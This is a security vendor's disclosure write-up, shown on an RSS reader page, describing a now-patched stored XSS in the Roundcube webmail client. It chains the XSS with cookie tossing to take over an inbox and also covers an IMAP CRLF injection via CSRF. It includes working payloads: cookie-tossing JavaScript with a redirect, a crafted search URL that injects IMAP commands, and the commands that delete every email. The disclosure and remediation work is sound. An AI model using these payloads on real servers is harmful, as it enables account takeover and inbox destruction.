惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

Y
Y Combinator Blog
T
The Blog of Author Tim Ferriss
freeCodeCamp Programming Tutorials: Python, JavaScript, Git & More
B
Blog RSS Feed
人人都是产品经理
人人都是产品经理
J
Java Code Geeks
Apple Machine Learning Research
Apple Machine Learning Research
Cyber Security Advisories - MS-ISAC
Cyber Security Advisories - MS-ISAC
Google Online Security Blog
Google Online Security Blog
www.infosecurity-magazine.com
www.infosecurity-magazine.com
Exploit-DB.com RSS Feed
Exploit-DB.com RSS Feed
酷 壳 – CoolShell
酷 壳 – CoolShell
The GitHub Blog
The GitHub Blog
N
News and Events Feed by Topic
Security Archives - TechRepublic
Security Archives - TechRepublic
D
DataBreaches.Net
阮一峰的网络日志
阮一峰的网络日志
H
Heimdal Security Blog
PCI Perspectives
PCI Perspectives
A
About on SuperTechFans
Forbes - Security
Forbes - Security
博客园 - 三生石上(FineUI控件)
博客园_首页
Vercel News
Vercel News
H
Hacker News: Front Page
WordPress大学
WordPress大学
Hacker News: Ask HN
Hacker News: Ask HN
MyScale Blog
MyScale Blog
Recent Announcements
Recent Announcements
N
News | PayPal Newsroom
T
Threatpost
Hacker News - Newest:
Hacker News - Newest: "LLM"
cs.CL updates on arXiv.org
cs.CL updates on arXiv.org
SecWiki News
SecWiki News
D
Docker
G
Google Developers Blog
L
LINUX DO - 最新话题
O
OpenAI News
S
Schneier on Security
AI
AI
T
The Exploit Database - CXSecurity.com
S
Security Affairs
I
Intezer
K
KPMG report finds enterprise disconnect between AI and its ROI | CIO
Security Latest
Security Latest
博客园 - 司徒正美
Know Your Adversary
Know Your Adversary
爱范儿
爱范儿
T
Troy Hunt's Blog
L
LINUX DO - 热门话题

Aikido Security's Blog

GlassWorm goes native: New Zig dropper infects every IDE on your machine Aikido Attack finds multiple 0-days in Hoppscotch The cybersecurity doomerism around Mythos doesn't match what we see on the ground axios compromised on npm: maintainer account hijacked, RAT deployed Popular telnyx package compromised on PyPI by TeamPCP Aikido × Lovable: Vibe, Fix, Ship CanisterWorm Gets Teeth: TeamPCP's Kubernetes Wiper Targets Iran TeamPCP deploys CanisterWorm on NPM following Trivy compromise Security testing is validating software that no longer exists Aikido Recognized by Frost & Sullivan with the 2026 Customer Value Leadership Award in ASPM GlassWorm Hides a RAT Inside a Malicious Chrome Extension fast-draft Open VSX Extension Compromised by BlokTrooper Glassworm Strikes Popular React Native Phone Number Packages Glassworm Is Back: A New Wave of Invisible Unicode Attacks Hits Hundreds of Repositories How Security Teams Fight Back Against AI-Powered Hackers Introducing Betterleaks, an open source secrets scanner by the author of Gitleaks Trump’s 2026 cybersecurity strategy: From compliance to consequence How does AI pentesting work with compliance? What continuous pentesting actually requires Rare Not Random: Using Token Efficiency for Secrets Scanning Persistent XSS/RCE using WebSockets in Storybook’s dev server Why Determinism Is Still a Necessity in Security WAF vs. RASP vs. ADR Introducing Aikido Infinite: A new model of self-securing software How Aikido secures AI pentesting agents by design Astro Full-Read SSRF via Host Header Injection How to Get Your Board to Care About Security (Before a Breach Forces the Issue) What is Slopsquatting? The AI Package Hallucination Attack Already Happening SvelteSpill: A Cache Deception Bug in SvelteKit + Vercel Top 6 Wiz Code Alternatives Aikido recognized as Platform Leader in Latio Tech's 2026 Application Security Report From detection to prevention: How Zen stops IDOR vulnerabilities at runtime npm backdoor lets hackers hijack gambling outcomes Introducing Upgrade Impact Analysis: When breaking changes actually matter to your code Why Trying to Secure OpenClaw is Ridiculous Claude Opus 4.6 found 500 vulnerabilities. What does this change for software security? Introducing Aikido Expansion Packs: Safer defaults inside the IDE International AI Safety Report 2026: What It Means for Autonomous AI Systems Self-Securing Software: What It Is, Why It Matters, and How It Works npx Confusion: Packages That Forgot to Claim Their Own Name What Is Continuous Pentesting? Introducing Aikido Package Health: a Better Way to Trust Your Dependencies AI Pentesting: Minimum Safety Requirements for Security Testing Secure SDLC for Engineering Teams (+ Checklist) Fake Clawdbot VS Code Extension Installs ScreenConnect RAT G_Wagon: npm Package Deploys Python Stealer Targeting 100+ Crypto Wallets Gone Phishin': npm Packages Serving Custom Credential Harvesting Pages Malicious PyPI Packages spellcheckpy and spellcheckerpy Deliver Python RAT Top 10 AI Security Tools For 2026 Agent Skills Are Spreading Hallucinated npx Commands Understanding Open-Source License Risk in Modern Software The CISO Vibe Coding Checklist for Security Top 6 Graphite alternatives for AI code review in 2026 From “No Bullsh*t Security” to $1B: We Just Raised Our $60m Series B Critical n8n Vulnerability Allows Unauthenticated Remote Code Execution (CVE-2026-21858) Top 14 VS Code Extensions for 2026 AI-Driven Pentesting of Coolify: Seven CVEs Identified Top Continuous Pentesting Tools in 2026 SAST vs SCA: Securing the Code You Write and the Code You Depend On JavaScript, MSBuild, and the Blockchain: Anatomy of the NeoShadow npm Supply-Chain Attack How Engineering and Security Teams Can Meet DORA’s Technical Requirements IDOR Vulnerabilities Explained: Why They Persist in Modern Applications Shai Hulud strikes again - The golden path MongoBleed: MongoDB Zlib Vulnerability (CVE-2025-14847) and How to Fix It First Sophisticated Malware Discovered on Maven Central via Typosquatting Attack on Jackson The Fork Awakens: Why GitHub’s Invisible Networks Break Package Security Top 10 Cyber Security Tools For 2026 SAST in the IDE is now free: Moving SAST to where development actually happens AI Pentesting in Action: A TL;DV Recap of Our Live Demo The Top 7 Threat Intelligence Tools in 2026 React & Next.js DoS Vulnerability (CVE-2025-55184): What You Need to Fix After React2Shell OWASP Top 10 for Agentic Applications (2026): What Developers and Security Teams Need to Know DAST vs Pentesting v AI Pentesting: Why DAST Cannot Replace Modern Pentesting PromptPwnd: Prompt Injection Vulnerabilities in GitHub Actions Using AI Agents Top 7 Cloud Security Vulnerabilities Critical React & Next.js RCE Vulnerability (CVE-2025-55182): What You Need to Fix Now How to Comply With the UK Cybersecurity & Resilience Bill: A Practical Guide for Modern Engineering Teams Shai Hulud 2.0: What the Unknown Wonderer Tells Us About the Attackers’ Endgame SCA Everywhere: Scan and Fix Open-Source Dependencies in Your IDE Safe Chain now enforces a minimum package age before install Shai Hulud Attacks Persist Through GitHub Actions Vulnerabilities Shai Hulud Launches Second Supply-Chain Attack: Zapier, ENS, AsyncAPI, PostHog, Postman Compromised CORS Security: Beyond Basic Configuration Revolut Selects Aikido Security to Power Developer-First Software Security The Future of Pentesting Is Autonomous How Aikido and Deloitte are bringing developer-first security to enterprise Secrets Detection: A Practical Guide to Finding and Preventing Leaked Credentials Invisible Unicode Malware Strikes OpenVSX, Again AI as a Power Tool: How Windsurf and Devin Are Changing Secure Coding Building Fast, Staying Secure: Supabase’s Approach to Secure-by-Default Development OWASP Top 10 2025: Official List, Changes, and What Developers Need to Know Top 10 JavaScript Security Vulnerabilities in Modern Web Apps The Return of the Invisible Threat: Hidden PUA Unicode Hits GitHub repositorties Top 7 Black Duck Alternatives in 2026 What Is IaC Security Scanning? Terraform, Kubernetes & Cloud Misconfigurations Explained AutoTriage and the Swiss Cheese Model of Security Noise Reduction Top Software Supply Chain Security Vulnerabilities Explained The Top 7 Kubernetes Security Tools Top 10 Web Application Security Vulnerabilities Every Team Should Know What Is CSPM (and CNAPP)? Cloud Security Posture Management Explained
Roundcube XSS chained with cookie tossing for full inbox access
2026-04-22 · via Aikido Security's Blog

Roundcube is the most widely deployed open-source webmail client in the world. We recently found a dangerous vulnerability in the application! It’s a stored XSS that, chained with a cookie tossing technique, gives an attacker full access to a victim's inbox and, from there, any account that uses that email address for authentication or password recovery.

We discovered this by running our AI pentesting agents against a local Roundcube instance. All findings were reported responsibly to Nextcloud, the maintainers of Roundcube, via HackerOne (XSS disclosed at #3594137) and patched in version 1.6.14. 

In this piece, we'll go through what we did, how our agents found the vulnerability, and how a simple HTML injection could fully compromise a user's inbox.

The injection point

Every attack has a starting point. Let’s look at one that one of our agents picked up to audit.

Roundcube handles user-controlled content in a few different ways. Email bodies are the most scrutinized surface. These are heavily sanitized because they are displayed inline with the rest of the application.

HTML attachments are rendered via a separate endpoint in mail/get.php, with a Content Security Policy set to script-src 'none' to block JavaScript execution.

A third, more hidden endpoint handles inline attachments that have yet to be sent, temporarily viewable while composing an email. This is the endpoint we’ll be looking at. The display-attachment action handles this kind of requests:

class rcmail_action_mail_attachment_display extends rcmail_action_mail_attachment_upload {
    ...
    public function run($args = []) {
        self::init();

        $rcmail = rcmail::get_instance();
        $file = $rcmail->get_uploaded_file(self::$file_id);

        self::display_uploaded_file($file);

The function self::display_uploaded_file() is where the magic happens. As rcube_uploads.php shows, these kinds of attachments are returned directly with their original content type and body, with no sanitization, sandboxing and no Content Security Policy applied.

header('Content-Type: ' . $file['mimetype']);
header('Content-Length: ' . $file['size']);

if (isset($file['data']) && is_string($file['data'])) {
    echo $file['data'];
} elseif (!empty($file['path'])) {
    readfile($file['path']);
}

How do we reach this endpoint, you may ask? While composing a new email inside Roundcube, you can attach a file to the temporary email, specifically an HTML file. We'll give it some malicious content:

<script>alert(origin)</script>

After uploading, clicking the attachment opens a pop-up that renders it using the get action, protected by a strong CSP. This is the safe path. The interesting part is what happens when you swap _action=get for _action=display-attachment:

Screenshot of Roundcube's compose window with an attached xss.html file. A popup shows the attachment rendered via the get action, with a blank white area where the script would execute, blocked by the Content Security Policy.

Viewing the attachment via the get action renders it in a sandboxed popup with a strong CSP, blocking script execution.

Take the original URL for this display:

/?_task=mail&_frame=1&_file=rcmfile21774532162043767100&_id=193102765369c53621200f8&_action=get&_extwin=1

Swapping _action=get for _action=display-attachment and dropping some unnecessary parameters gives you:

/?_task=mail&_file=rcmfile21774532162043767100&_id=193102765369c53621200f8&_action=display-attachment

This URL renders the same content, but without the CSP! So, the JavaScript inside our HTML executes, alerting the current origin and confirming XSS:

Screenshot shows pop-up with the attack, with the text "mail.target.local:19002 says http://mail.target.local:19002"

The attack works!

This is an interesting Self-XSS, but is this really a problem? If we're being realistic, a regular user isn't going to upload our XSS payload by themselves and continue to view it in this special way…

Looking at attachment_upload.php, you'll find that a compose_data_ session key must be set for your current user, and only that user can retrieve the attachment.

public static function init()
{
    self::$COMPOSE_ID = rcube_utils::get_input_string('_id', rcube_utils::INPUT_GPC);
    self::$COMPOSE = null;
    self::$SESSION_KEY = 'compose_data_' . self::$COMPOSE_ID;

    if (self::$COMPOSE_ID && !empty($_SESSION[self::$SESSION_KEY])) {
        self::$COMPOSE = &$_SESSION[self::$SESSION_KEY];
    }

    if (!self::$COMPOSE) {
        exit('Invalid session var!');

Since this is a temporary attachment tied to your current session only, there's no way to prepare a payload and have a victim trigger it by logging into the attacker's account, as we saw with Mailcow. The attacker's entire roundcube_sessid cookie would need to be copied over to the victim. Another impossible-sounding task.

Exploiting Self-XSS with Cookie Tossing

The Self-XSS we found looks unexploitable at first glance. The attachment is session-bound, so there's no way to prepare a payload for a victim without also handing them the attacker's session cookie. But the trouble actually isn’t over yet. That's where cookie tossing comes in.

In browsers, cookies have some interesting quirks, one of which is the Domain=attribute.

> Only the current domain can be set as the value, or a domain of a higher order, unless it is a public suffix. Setting the domain will make the cookie available to it, as well as to all its subdomains.

Cookies can be set not just for the current domain, but for a parent domain as well. A cookie set by sub.example.com with Domain=example.com becomes available to every subdomain under example.com, including ones like other.example.com that had nothing to do with setting it. This attack type is called Cookie Tossing, where one subdomain writes cookies that another subdomain will read.

This means all we need to exploit our vulnerability is control over a subdomain on the same domain as the target Roundcube domain. From there, a separate XSS vulnerability on something like xss.target.local can set the document.cookie property to write cookies with the Domain=target.local attribute. Once those cookies are set, the victim's browser will send them along to mail.target.local, where Roundcube loads the attacker's session instead of the victim's.

That session has the malicious HTML attachment ready and waiting. Navigating the victim to the attachment URL triggers the XSS payload inside Roundcube's origin, on the victim's browser, with no further interaction required.

In summary, what an attacker has to do to exploit it is:

  1. Log in to their own account, create a new email, and attach a malicious HTML file
  2. Copy the link to view (render) the attachment and the cookies
  3. From a subdomain vulnerable to XSS, set the cookie values using document.cookie with the Domain=attribute pointing to the target domain.
  4. Redirect the victim to the attachment link. The XSS triggers in the Roundcube origin.

Here's what the subdomain XSS payload looks like in practice, setting the session cookies and redirecting the victim to the attachment URL

document.cookie='roundcube_sessid=1798cbb4c1d7c7f9ca26069b52aac1aa; Domain=target.local'
document.cookie='roundcube_sessauth=GfNmiyX5brPm4l814QUx62l5gsJKBXfU-1773063000; Domain=target.local'
location.href = 'http://mail.target.local/?_task=mail&_action=display-attachment&_id=183727919869aecb6499f76&_file=rcmfile11773063013009066400';

From the subdomain XSS, the rest of the Roundcube exploit requires no further user interaction. All the security of Roundcube now relies on every same-site subdomain.

Screenshot of the local instance and the pop up, which is from the attack code

The alert popup in the screenshot above confirms XSS is executing on Roundcube's origin, but it doesn't demonstrate real impact on its own. There's still a problem. At this point we've loaded the attacker's session into the victim's browser, so any action taken will be on the attacker's account rather than the victim's. Great to deliver our payload, not so great for accessing things we wouldn't normally be able to.

If you look at the browser, cookies don't actually get replaced when we set a different Domain=. They're both sent!

Cookie: roundcube_sessauth=VICTIM; roundcube_sessauth=ATTACKER

When both cookies are present, the server picks the attacker's, since it appears last in the header. On the XSS payload, we want the attacker's cookies to be picked, while on all other endpoints afterward, we want the victim's cookies. Luckily, cookies have another attribute that perfectly solves this problem: Path=.

By setting a unique path like Path=/index.php/xss, which still points to the homepage, the cookies will only be sent when that path matches the request target. So for our requests:

  1. /index.php/xss sends roundcube_sessauth=VICTIM; roundcube_sessauth=ATTACKER -> attacker's payload is returned
  2. / sends roundcube_sessauth=VICTIM -> victim's emails are returned

We just have to change the JavaScript exploit to set this new attribute, and navigate to /index.php/xss afterward to ensure the attacker's cookies are sent in this request for our payload, but after that our XSS is free to access the victim's account.

document.cookie='roundcube_sessid=1798cbb4c1d7c7f9ca26069b52aac1aa; Domain=target.local; Path=/index.php/xss'
document.cookie='roundcube_sessauth=GfNmiyX5brPm4l814QUx62l5gsJKBXfU-1773063000; Domain=target.local; Path=/index.php/xss'
location.href = 'http://mail.target.local/index.php/xss?_task=mail&_action=display-attachment&_id=183727919869aecb6499f76&_file=rcmfile11773063013009066400';

In the DevTools, we can see how the duplicate cookies are set up now:

Screenshot of Chrome DevTools Application tab showing four cookies for mail.target.local. Two are scoped to the path /index.php/xss on .target.local (the attacker's cookies), and two are scoped to the root path on mail.target.local (the victim's cookies).

While the conditions required to exploit this (account on Roundcube + Subdomain XSS) are a little tricky, the potential impact of a successful exploit is huge.

Email is the most widely trusted form of authentication, as many websites rely on "magic links" for sign-in or password recovery. When an attacker has access to your emails, they can trigger these kinds of password resets on all websites you have the email connected to. Then, they can read the email that this service sends to confirm and gain access to many more accounts.

Remediation

Update Roundcube to version 1.6.14 or later (1.6.x), or 1.5.14 or later (1.5.x LTS). All reported vulnerabilities are patched in this release. If you use Aikido, vulnerable Roundcube instances are automatically flagged in your surface monitoring feed as a medium finding.

Not on Aikido yet? Create a free account to get started, no credit card required.

Conclusion

While initially looking like a trivial XSS vulnerability, exploiting this required a bit more knowledge of cookies and sessions. Same-site subdomains are often given slightly more permissions than completely separate websites by the browser, another reason to ensure all your assets are secure.

This is a hard task, but as shown here, Aikido Attack can autonomously pentest web applications to find such vulnerabilities across your entire infrastructure.

The maintainers of Roundcube patched this vulnerability in version 1.6.14 by adding a script-src 'none' Content Security Policy, just like the rest of the attachments already had. This makes it impossible to execute JavaScript when returning arbitrary HTML.

Bonus: IMAP CRLF Injection via CSRF

During the same pentest, another agent found a second vulnerability that we found particularly interesting. After reporting this, it ended up being a duplicate that the Martila Security Research Team also found. Still, we found it interesting enough to briefly explain the details of this vulnerability here.

The /?_task=mail&_action=search endpoint passes the client-supplied _filter parameter directly into the IMAP SEARCH command in rcube_imap_generic.php:

if (!empty($criteria)) {
    $params .= ($params ? ' ' : '') . $criteria;
} else {
    $params .= 'ALL';
}
[$code, $response] = $this->execute($return_uid ? 'UID SEARCH' : 'SEARCH', [$params]);

While the function seems to separate the command from its arguments, the implementation of execute() simply concatenates them without sanitization:

foreach ($arguments as $arg) {
    $query .= ' ' . self::r_implode($arg);
}

By injecting a Carriage Return & Line Feed (CRLF, %0D%0A) characters, an attacker can break out of the SEARCH parameters and inject additional IMAP commands within the authenticated user's IMAP session.

With this, you can not only search emails but also add folders, move emails, or delete the entire inbox, since these are all raw IMAP commands.

Below is an example filter set to ALL%0D%0AX007%20CREATE%20EvilFolder:

http://mail.target.tld/?_task=mail&_action=search&_interval=&_q=imap-inject-test&_headers=subject%2Cfrom&_layout=widescreen&_filter=ALL%0D%0AX007%20CREATE%20EvilFolder&_scope=base&_mbox=INBOX&_remote=1 

Visiting it sends the following data to IMAP, with the injected CREATE command that executes after the search:

X006 SEARCH ALL
X007 CREATE EvilFolder

The effect of this can then be seen in the Roundcube UI:

The Roundcube UI on the Folders tab, with "EvilFolder" at the bottom

Because this is a simple GET request, visiting the above link is all that's needed to execute the commands. With it, a single click of a link could permanently delete all emails (X001 UID STORE 1:* FLAGS \Deleted followed by X002 EXPUNGE), resulting in a big loss of data.

This vulnerability is now patched by removing \r\n characters from search queries.